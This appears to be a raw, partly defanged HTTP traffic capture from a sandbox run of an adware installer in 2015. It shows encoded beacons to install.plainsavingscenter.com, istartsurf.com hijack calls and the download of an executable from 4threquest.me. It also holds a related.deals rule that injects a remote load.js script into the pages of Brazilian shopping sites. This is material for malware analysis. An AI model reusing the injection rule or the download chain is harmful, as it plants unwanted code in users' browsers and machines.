Content-Encoding: gzip

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Length: 1654

Server: GSE

Age: 16047

Cache-Control: public, max-age=2592000

...........XKo.6...W.0....V._....-..C/..z.(...P.J.y.......([y.-..8......7C......E.c..(\m.oB.9..WY..........m.|.y..|.eq.D.Z.*.....J......K[.g.......&%.GV.aR.<g.1.;...!)..r..?..)....B...f.(....fB..D..v...i.qJd..U$..}....4.......-H...|...(.Z.!hJR.6.i.D..h.-X..l.l...B.T....k.gybou.:..[Z&...o.O.....[.c... ...za.h.!...kZ....`.v._k...q.^...9.F5D....MI.p..T...niv..^..g.G*.....g.*.....S...MM2.P>IRw.....u....n.Y;..r!is....Z.........M.U.^..m.t...........,.@..@x..n..-.K....Q~%r....vP.q)=)%...."T...&.).|_I<#.F@IR...V...Nz........S>.k.XRi.A...A.bV.T25'l...P.."..]e%.E..8J.3..g.$.K.A......A...N......y.__.X..j..ZF.H<(;%.%......8....G..............?X&E#.*...j... ..(..'m...Ja\..>]........-...H/...dX..%pY..{.P...M......Y.,.^=!.(....~L.F.@......0o.N/....V..K..F.6..\.n.......i.....B.O.&....4.G...z.w.....?...#Kr.AV.....i....P.f.'.^*8....Ah.xf..Z..cPP.!.y.....]a.^.....O.Z..5'/@..A......`:.)...S3i.?g...A....v*.........h........5*.Ah:w.......q.tN~...:..N.s,..J.&..{.Z..`7..:...\.;q......g.d.a...... ....A*Y...2..`...ct.E....-:........c.pL.~."N*>.g..V<%.......vT.I-..n...rD......[.*....k...c&..6...R..F...5.F.Ny........02...#.|W...B<.I.H..Tb.:.AN!...X/.Gy.z.^~~...tg [.c...5..`.q.=4...R.ZE..&..Z...u3D..Td`..~.s..}.<....Z.....e......`Z*8..4.-......6r6.oI;..............#8DT...>.t2.n.~...T..q....]..q....z|=..5.....2...m..|.....e.r.!.....n.q....\.....w.m.Y....D..q..&v.......>.x......Vo]..?=5}.Z..Q..E...r.D.8{Et.Y..........LO..wJ.H5..e...%...Qn..Sbte.9...r.n].e.K..7......s^/...f.....9x..FS.-9...I.B...P.... JI..8

<<< skipped >>>

GET /s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/xKPQyH

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: font/eot

Last-Modified: Mon, 27 Apr 2015 23:46:15 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Sat, 12 Sep 2015 05:05:58 GMT

Expires: Sun, 11 Sep 2016 05:05:58 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 83867

X-XSS-Protection: 1; mode=block

Age: 146678

Cache-Control: public, max-age=31536000

......n...t.UP.N..w.....w. .....;...]..;......\..........=5.U...y..._........[...............I@.........1............._..(.....*...%.......?w......c..O.....?B......wj.p.?i.............Q.........y..\@cn......}.I[s.H.?Z..bng.x...D..`.!n.@Wl..2#..x...Vcb....nrp_.,x...AY?T=.r....6c2m...s...]..j].y8.y.8E.;Q.......#O.k..A.}...iy2&.P.=.<..t|..u.;..d.......VnE..z....,* .hW..3Y..v...>.j..bmt..mOEL.U-c.G./.U....T%..q|X1.7..}.......T;YLiF...5..._.....{'.,..-E......C....._..:B...[q...b'....m4P|...o@.~..'.I..".g)VW....9.K.."..@cx. ....X..A....N....{.yWf@.T.._*w.........`...<..1c./.w..W.8...........p......K....e........*~n[._K..............'........# `{qKI....f .W.K....C..[d..DB........P.{.l.]...Dw......'...#W@........>..R......m.......T ...z#..r...>....0[.zd.P.-k...}..............uu..d.=.Y........#.r......aM*r1.WI.H.t..#.....j..O..\...M..]ah..L...b...^f7......[....K.}..P4t...j0.#.9.*.=.6..c......8.V..?...K.......:.|....E.D.x...S.@44y..z/.A..=.;...:...#h.....U...~........o[.V...l&..E.....c.K..Q..(.../v.k...mL.*/.v..?..7Y.$]........K8 ..<...9...r..\..Ho....I..0.{.....e......}..9Q|R.......N.em........~..Ag..Ti^...q......#..,..z[{.yN..g0_8M._..F"5F.(...A..Au...3&.H......J._/.....L..r.Z..p...(\.S......"s.....Z.....*...dJ"...m.<....d).....go.....N.".......J6n.e......!.9D......{.{].......1......D.i....-.&JN.A2[.H....b.r...3e...g.i7 .r]..Dj..z..n.X R...%..0k..,ZF...o.X.....bf...0..l..n.....c.6t#....=..\..E..m...\......x..st.=..a.p.R.,`.....LG....k..'......o.*b}%.gG.Y...V5"E... !W~...QPq>......g....1..B...B..

<<< skipped >>>

GET /css/go.css HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/xKPQyH

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/css

Last-Modified: Tue, 06 Mar 2012 18:42:07 GMT

Date: Sun, 13 Sep 2015 21:50:33 GMT

Expires: Sun, 13 Sep 2015 21:50:33 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 2135

X-XSS-Protection: 1; mode=block

...........W...J.~.6fc..4N.....{......{...F.%...../.s..}.M.T......YY.Yy..wb{..r[.....v.0.j..A1.H.Us.'-...F6..oo.v....jEA.e.V..o.V.p....8.v...D .}..>..{:.S..#8t.....m.....6.....x......B.&...OfhS.8.6.C.G>F...Bj]...Q>......:N6.(qp...0....$......!=..O....B.B.../ J.XJ6.f.7.`..C.R|g...:NM....Dl.H.}..<RU..Hx^..............:...K)..\;?....C.q....ZF.:...S.........md...".S.....v.%\..(uHf.c....E..J]....7.S.....8....~l......q.g.:}.........y.S"w..........`;T.Y..n...i.^.L.Q.j.F.~.......e.,.o.H..k.....s.=7..6|....0._|.Q..j.}.Y.Nf.....9(.fS.V.2m..e.Q.}.ZNJ.F..d.a.-:..l..7{.S.%3./..{#...'..4WRH..&Q...n.R.l.z..)-.,....-Fci...Y....[......#.z...^k/.9f.uE.w...........M..=/'..r!.....j..'..A.gu,U..^..._.-.....v."n.....Z..M[..,.m...Mc?|y...s4:..a..GG7.N.F.%.nd..k.R6.t.^].....}.w..I.F.wzQ/...8........Y...q..{..;.'../K....a.&'....6.M..t...A....e.....=.........m...J....ijp........r......9....^'..rw...v....xV..{c7...@.....S N..rU.....6..Cu..........N48.......F..:.3...M.K..B. .-..17.n...Vw*.t..o.....G..F..h6...^[.|.[F.a6E..P..KG...3/......6..s..cC.o./.c.4......b1....8.F.Q.J..$'o..n..HUg..7..7j.R.....IL..n/.....6.z....<....ei..i.b....-......-.eh....%...d.:[.h<.Kca..1......A.G"..Vo_.)..y._.K...%9.fM.&....).eu..4...K.3>.b9.*..3Y.^4..r. .cCY.,....rC.A.q.....3.T..vO.Q..Xf../....)j.....u,8.x1.%.o(Mch5.F.hLi.lWF.U..k.'.R....a|......QX..a..~..,...X.&^.`0.4)..W ASOzo6...$.......#..EA..rj.Y......../.L...(.....E......,6...V...S~2e.I....]...nC.x.*......ysL..u],..b..8..tx^G.......B...wlgo...5..."oJ.Y.M....f1.................>.)..

<<< skipped >>>

GET /images/logos/url_shortener_logo.gif HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/xKPQyH

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT

Date: Sun, 13 Sep 2015 21:50:36 GMT

Expires: Sun, 13 Sep 2015 21:50:36 GMT

Cache-Control: private, max-age=31536000

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 3990

X-XSS-Protection: 1; mode=block

GIF89a..(.....[..r..z..d..x#9t=7vA:s@..'..)..-.0<..*..,.. .....0..1../..1.&6. 8.'6.4;.58.p..v..{..s%.8D.6E.8B.MR.QV.zM.\`.np.xw.KW.OT.FF.SS.ZV.b[.^g.mm.pn........#..%..(8.IN.VJ._M.a=.LT.]W.db.l..........................6..&..$..7..,..8..Z..t..G..P..N..{..z..H..U..s.&.....1..2..5..9..<.2D..@.5M.$D.(G.2N.Ve.hs.G[.D\.Uf.Ri.Uk.ix.cv.,K.0O.4R.7V.<Y.:[.;^.?a.=b.?f.A].Eb.Lg.To.Rl.Ys.[s.Gj.@g.Bj.Kr.Xx.dz.d|.Cm.Jv.S}..~.{..y..m..y..~..\..k..y..l..f..r..u..y..x..}..X..g..h..y..e..x.................................................................................................................................................................................................................................................................................................................!.......,......(........H......*\.p`8[..........3j....G}..);F...v.<.......8f.@.....8s...p..A..5j.H..A.,.3g..J~....Y ...N.j..U....D.R....U....C..#rX.^../...U...../Fu..%2.*..x.....*..7l.].{Q.....Q6....{.6.F...!R......."0aHqK9Z....5...l.......k..n.....tm^\....!...q..s.....G{Y(.u.G.....4.....B~..e.~.`............YSI..M..<....8.48.s...[m.y..x.q.!....I%o...J.....*..J-.!TO.Q$a..Q..`B.......d.5.IX.=........aN....V...N%....7K^... ..K ,|.B.,....N...,P.a..S8..3.X.. .P....h...2.6.?..........c~..A.A..@....=65..?. ..0.X(...8../....5..2L9....)?....9X8r.=..d.3..*.@..zj....,3.z....HS. d...J...JY.p.M .|`A ..4....r.7.p#..C...}..s.#.`..){.A.).p....... (...6.."n..<*.p..7.@.....j.#...;...#[..3.f!I4ndQ..(....X.\.... .:zh..=ldA..Zd..@..A..k.......2.V.

<<< skipped >>>

GET /mobile/libacess_js.php?idm=R0JDNlBNS1RPRDo5MjMwMDA= HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mobimidia.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sun, 13 Sep 2015 21:50:03 GMT

Server: Apache

X-Powered-By: PHP/5.3.14

Content-Length: 0

Connection: close

Content-Type: text/html

GET /logic/z.php HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sun, 13 Sep 2015 21:47:53 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14

Content-Encoding: gzip

3e............324.H470IM..LIN23II60J6N7.J.J.7KOL2KMJ2.5N..HdU%*.....0..HTTP/1.1 200 OK..Server: Tengine/1.2.2..Date: Sun, 13 Sep 2015 21:47:53 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.3.14..Content-Encoding: gzip..3e............324.H470IM..LIN23II60J6N7.J.J.7KOL2KMJ2.5N..HdU%*.....0..

GET /mg?alpha=VRsOFU1pUUlLBRQqIT9CVF9dGE1VXQxkOCMGDV8nWkhPATsBYBNnJVVbD2JpCgwWMzlTbRJifT9oWDwuRhM0GD8tTBJaRgVEQzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sun, 13 Sep 2015 21:50:13 GMT

Content-Length: 2004

AzJXMPxcDiJitjRJakyjFGoTOPNWJQgnt2cFAWDqDWsXNL0fDgJUmBMIMErQTThAJdFHHCs4rHxdZQifewtHQ88vckByviExH3HrIG5CC7otQhI04lNuURm/GTAhJ7VFFUls60pcERfORCU1Z/AKNlg7xV8YJSDrV3RTP65TM01h1ihlByakFzIdKbspbWMNqz9/FTjmQERaGa8uTl8ksVkgXjrrDw0DAc1DJFk8 w54ETCcERFxY 1bJgwoqEMyZizBf2lBPvBbbl0n7TZydEz0U1YqAscHKxAMrTEER3jyZipIf6cSGxUYw10zJ1rNHXsBMMNAVERt4EZwWS74GnVtYdYoZWt9pwd8S2vsI249TKsJbgQy5EBjZB2gMAlHeL5AP1c66wARFRXHfyEPb sKVwow01hWM2TvQ3dTcPhfJH931S9kByasAzICYLVtZ2kPrQU8WyXiUGJPULdnBQFg6gxiFzS9Hw4CVJgTCDBVyk04QCXRRxwrOKx8fUU1tEIyaW7bMXN5QJkWLBhr/jwgPUy4EHIUNN5Ealde9isZCS78FzZDZqwFCgIS9FAsDmO/VXoXOdwfVm9t/ExheD2uXyF Q9I4Y04 8AQ/HXb8YyB4HaoGcRM1sh9hUxC/IEBHJ6hUME808xIMEhPfHTtZb/lNLltnnBEAcHLrDT4UFJFlADksmC1hUXToWHwifOombGULvB9/DSLMeUZHCKMXGQsx8hlxTXelExspF89UYkFo6AN4TnfVSwRsYfpKYGA9tkMyOTrUKGxJMOgEMQNm/AFjZQe4FF0JNPNOJQgarSkfAG7yXCBfYaYUGkVMxFAsCGOxTXEaNNNHVjN2/FphS3ChFD5/IoBkMwk vhsuFCejbUpaPZlTMkMh8VFvEEbuFhUWK75BNkl4qAoNOyryQy8YQugCZEB5kkUVZXfrYWVbOfgMOW5s1nEiQGS6Bz0FYP0ZY30bq1MkDyT8SSsQGqM3DwAMsUE6TXOKDhsEHYALJhpq7go4QDzDVwNmcOoNPlA9tkUyNyLfJWFGaOhYKgNw/DIuakynFTxbaKQJJUYFvCBOX2CYfgBsNOVEDgYCyhN6WUv0DGYNJt9VAFVe2UZqUjOtRQtHQ88vckByvjQ7A3bwIGxNMpsfdw8i5ERrXiCQBAIRK5xaNFxzu0RSRQDDXTUeSPwCcUBv3kYYZS6sSnxGOblCMn9W2zF1QD7wDCsdabVtZH4crRRQACX5U2JxFKkmB0d4tlQ/SHPlRBcUEtVeMh8kpwl1DibVH1Zseu9McBRmrkQifn2WJiJMeOhYb0E3tW12aB6rUyRDGdt2UBBQ7jUNESryD3F2f6oUERQZxEUcJ1H0AXANIsNvKEp3/F1hWCiMUyVoadUzXHlJpAswAnH4I25NMpkYbAQi ER1WV7gZxoELqVQHVp7rERECQPOXWxZY UfcQEh1VciaG77SiYMMq9aOzci3DJyRnmEAyoYc/wManQNpVMkBzD8VmIeXqU2CBItolFxAXCoCg0CWoBUOBpl6U0u

<<< skipped >>>

GET /fp?alpha=CWEQCnZfflcfanYkPyB5CCVDB3YJPQZ7Ny5gQR4pTzEeXmUfSh0JGHgiBHouV2oXLAsOCnoONhd6MCNjDSkfAgZnESdkBi06c3o1NjgyaRdWfAteNx1lWHd+ewsQS20JMUkBclUbEHgYAyoKDTpUfxVeDA4Tews1CGZBVmIaZi9UDQEeFUcyDSADCTNxNXZnfVssFUt5G3RMImYrXQIbahJmRAwgVQ1DfghaIhwFJkUhR08IXwd3DiJHOkw2OFNhMlNIdwcHRSgGYlpQdCw0JXQILwkACWhLaUd2d30PFUhoGWEPQH4yUQY5XVJ3AX0kVn4RKw8PCnd8RxF6MlYUfikaAnNufiEUAVk0B3lRdxdvYmUhHihDbxM= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sun, 13 Sep 2015 21:50:27 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Sun, 13 Sep 2015 21:50:27 GMT..Content-Length: 0......

GET /ii?alpha=DF5ZCkByLGIvWRoudiBPDRoKB0AMAlUiTSlmGF4PU1sIChQZYlQccl9FGxxyAQ4FAWtPPm5OV1IhXFtUCQogFDZmQhkeWF0DSg8Wc0h2J08PEzAISlkbDSQCbHMMRSkKfAQUM1AgRH5dDxtYCBdSSkEuSQ8pKnsKFlh6IyR/fiJ/Q3QBXRtCS0RCDRVxWzFkRlBAV0UcG14MdUNsZA4eLkhQCEUQEWIFI2xbChFZRyIKAzkxCjY3FgAZWAhIUwwKJxxhNwNnSRVQZywZSjMaZiQXQyUGBUhFHE9qUHkyRhoFThlaXwMMYFQBd11eGk9OBgxMOGVSfGhPQQAwaEY2S1RzX3UhBURIFwESCVpXMwdwOlJEUlpFHQRZCnZAanMOChpTXFAMBQhxAmwkHh9bDAcPCwAOYlslQlZVTAFLDkYRbntTcjcIC3UCDEYaTAxmAGlpRlgcXRsRU01dME1zMEdJXAgZWE1IWSJTeS4EGUMGEiJCXCo2CykhSF1EVX4HCkpeM15pPwIWYjgyfD4ZQS8DfGk2PS0hKgpOHwEQPT1hGR1MbFZHWAAIfkkFWnsMPV1TBFgoHWVKfSFIWR1OXQgFBAozQDtjKBZWCBIkJA== HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sun, 13 Sep 2015 21:50:27 GMT

Content-Length: 84

HuBdlxoUuh TbwGDYOtbGK0fgwUa7xqaaBfsO8caCvRD3Q1Bwhi9KACwHMQIAacPl3QUyHbJBE8BI42FUhFPHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Sun, 13 Sep 2015 21:50:27 GMT..Content-Length: 84..HuBdlxoUuh TbwGDYOtbGK0fgwUa7xqaaBfsO8caCvRD3Q1Bwhi9KACwHMQIAacPl3QUyHbJBE8BI42FUhFP....

POST /if?alpha=D1ohCQsPEC5WZVptDiMEDh5yBAsPBi0hBipiYF1EUF9wCV8aZiwfOVxBYx85Agp9AiBMOhZNHFElJFgfCg5YF31lRmEdE14HMgxdcEwOJAQMF0gLAVofdSdJb3d0RmIJeHwXeFMkPH0WDB8gC1xRTjktAgwtUnhBFVwCIG98elp8CHcNMBhuBlNrUCctAxMcUBEaRB8OXQwsY1Y/OSddUQQJfR4LRCYlYWcFBj0OX1NPJ0ojWno9SRYeBSUdXVZQH1xrNQ01Z08BYDoKQHNEVW4JTVgiXVYbSSMgVAVrcEZyah0iXEoTZnRyAlRGaVAdEFA0X3USfhZPX0wfNgBfB3IEWj8+GzxDSU5hblIKLB0Ud2EtVkcaCE8KNzZSJmpyFwdPXj9cVwV4MXV1CAY8EVhVTCRMNFpuCVIaRkwwBE5RH1cZfn9YdUpOAldpW1MGBAA7UA4eN0AyRwYwIF9pV2caU1xIZAlQHCslaTsPWDBGTAIKKVV3Ey1PCV9ODX1VHQAKXQN4Z1JgZwdecz0LX2UaCDMEOxd7GwIPCysoVXRAXSRpeB0pQFMJK1UMCnNpK1seXipZGyZNeV9tEFEYNQRBGnYpfG0ZCSFBHSpEbkoLG3VcGhh9JQ== HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Content-Length: 78

Connection: Keep-Alive

Cache-Control: no-cache

alpha=D1ohCQtUTUtMdz8AJG1lOTlUPSpsEXUZWi1pTzdoenoBfEBbSkUqOE10ZFMNYnEeMnhYbQ==

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sun, 13 Sep 2015 21:50:29 GMT

Content-Length: 41

{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Sun, 13 Sep 2015 21:50:29 GMT..Content-Length: 41..{"status":"OK","url":null,"message":null}..

GET /logic/z.php HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sun, 13 Sep 2015 21:48:22 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14

Content-Encoding: gzip

3e............31H5031H.010M3LMJ46J5KNNO.2.2.7M7K.L5(1HM......G*.....0..HTTP/1.1 200 OK..Server: Tengine/1.2.2..Date: Sun, 13 Sep 2015 21:48:22 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.3.14..Content-Encoding: gzip..3e............31H5031H.010M3LMJ46J5KNNO.2.2.7M7K.L5(1HM......G*.....0..

GET /services/update/2.1.0/GK6PgaQxtY77NwSEI1TmP53kvdGWkCkI/367 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sun, 13 Sep 2015 21:50:56 GMT

Content-Type: text/plain

Content-Length: 0

Connection: keep-alive

P3P: CP="Potato"

X-Cache: BYPASS

X-Server: Provided by Intermedia

X-Country: EU

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sun, 13 Sep 2015 21:50:56 GMT..Content-Type: text/plain..Content-Length: 0..Connection: keep-alive..P3P: CP="Potato"..X-Cache: BYPASS..X-Server: Provided by Intermedia..X-Country: EU..Access-Control-Allow-Origin: *..Access-Control-Allow-Headers: X-Requested-With..Access-Control-Allow-Credentials: true..

GET /services/stores?dummy=322 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sun, 13 Sep 2015 21:50:55 GMT

Content-Type: text/html

Connection: close

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: EU

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

related.deals.aliexpress.com.viagens.americanas.com.br.americanas.com.br.amomuito.com.azulviagens.com.br.epocacosmeticos.com.br.casasbahia.com.br.catho.com.br.centauro.com.br.citylar.com.br.colcci.com.br.colombo.com.br.cvc.com.br.dafiti.com.br.dx.com.decolar.com.extra.com.br.fastshop.com.br.fnac.com.br.forum.com.br.girafa.com.br.voegol.com.br.insinuante.com.br.kanui.com.br.lenovo.com.br.livrariacultura.com.br.lojaskd.com.br.lojasrenner.com.br.magazineluiza.com.br.marisa.com.br.megamamute.com.br.mobly.com.br.netshoes.com.br.oppa.com.br.polishop.com.br.pontofrio.com.br.posthaus.com.br.ricardoeletro.com.br.rihappy.com.br.samsclub.com.br.saraiva.com.br.sepha.com.br.sephora.com.br.shopfato.com.br.shoptime.com.br.submarino.com.br.submarinoviagens.com.br.tam.com.br.walmart.com.br...

GET /310714d/310714_a9.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:10 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 327816

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_a9.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Fz..Fz..Fz......Xz.......z.......z..O.M.Ez..Fz...z..H...Lz..H...Gz..H...Gz..FzI.Gz..H...Gz..RichFz..........................PE..L...8M.U............................t.............@..........................0.......9..............................p...........(.... ..................................................................@............................................text............................... ..`.rdata.. ...........................@..@.data....F.......&..................@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................U..V....J...E..t.V..T.......^]....................J.............U..j.h..B.d.....P.... .D.3..E.VWP.E.d........}.j..u...D...E......F......F...F......F..3..F.....f.F..F.f.F .F$.F(.F,.F0.E....u(.E.P.M..E..wC...I..h..D..E.P.E.x C...z..WV..A........M.d......Y_^.M.3..&I....]....V..V..A...F,.....t.P.kQ......F,.....F$..t.P.TQ......F$.....F...t.P.=Q......F......F...t.P.&Q......F......F...t.P..Q......F......F...t.P..P......F.......^..C....U..V.u.....I....x C...^]........U...E..V..... C.t.V.MR.......^].

<<< skipped >>>

GET /services/rules?dummy=106 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sun, 13 Sep 2015 21:50:55 GMT

Content-Type: text/plain

Connection: close

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: EU

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

</body>|<script>var cb_instID='{instID}';cbS=document.createElement("script");cbS.setAttribute("type","text/javascript");cbS.setAttribute("src", "hXXp://related.deals/services/load.js");document.body.appendChild(cbS);</script></body>.descontosofertas.com.br|xdescontosofertas.com.br.{cashReminder_instID}|{instID}...

GET /s9.g?login=pcofferp&srw=1916&srh=902&jv=true&j=y&srb=32&l=http://VVV.trackpixl.com/010914s/010914i.htm HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/extreme.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: e0.extreme-dm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Sun, 13 Sep 2015 21:50:05 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

Cache-Control: private,no-cache,no-store

Pragma: no-cache

Expires: Mon, 28 Sep 1970 06:00:00 GMT

GIF89a.............!.......,...........L..;..

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.install HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sun, 13 Sep 2015 21:50:53 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

